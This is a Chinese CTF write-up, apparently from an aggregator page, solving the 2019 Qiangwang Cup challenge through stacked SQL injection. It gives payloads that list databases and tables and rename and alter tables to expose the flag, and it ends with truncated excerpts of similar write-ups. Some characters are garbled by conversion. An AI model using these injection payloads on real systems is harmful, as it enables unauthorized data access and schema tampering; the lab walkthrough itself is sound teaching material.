題目:開啟後如下,比較典型的一道sql注入題目
輸入1; 發現會返回一些資料,所以可以嘗試一下堆疊注入。
堆疊注入:試一下,查詢資料庫
1';show databases;#
發現可以將資料庫都顯示出來,說明可行
再試試查詢表,回顯兩個表
1';show tables;# 查詢所有表
然後繼續訪問表中的列
1';show columns from `1919810931114514`;# (字串為表名操作時要加反引號)
這時看到了flag
根據兩個表的情況結合實際查詢出結果的情況判斷出words是預設查詢的表,因為查詢出的結果是乙個數字加乙個字串,words表結構是id和data,傳入的inject引數也就是賦值給了id
這道題沒有禁用rename和alert,所以我們可以採用修改表結構的方法來得到flag 將words表名改為words1,再將數字名錶改為words,這樣數字名錶就是預設查詢的表了,但是它少了乙個id列,可以將flag欄位改為id,或者新增id欄位
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
這段**的意思是將words表名改為words1,1919810931114514表名改為words,將現在的words表中的flag列名改為id 然後用1' or 1=1 #得到flag。
這個題目與之前寫的攻防世界裡的supersqli基本一致。攻防世界 高階篇小結supersqli
強網杯 2019 隨便注
1 or 1 1 回顯了所有使用者資訊 union select 1,2 得到回顯 return preg match select update delete drop insert where i inject 過濾了 select update delete drop insert where...
強網杯 2019 隨便注
知識點 原理參考堆疊注入詳解 開啟題目,如圖所示 嘗試 1 union select 1,2 發現select被禁 嘗試堆疊注入 查庫 查表 查1919810931114514表的列名 1 show columns from 1919810931114514 這裡表名使用反引號進行包含 應該就是從1...
強網杯 2019 隨便注
根據題目嘗試sql注入,單引號報錯,單引號加注釋無報錯,說明存在sql注入,當測試輸入select時返回過濾的黑名單 return preg match select update delete drop insert where i inject 這道題使用的是堆疊注入,原理 在sql中,分號 是...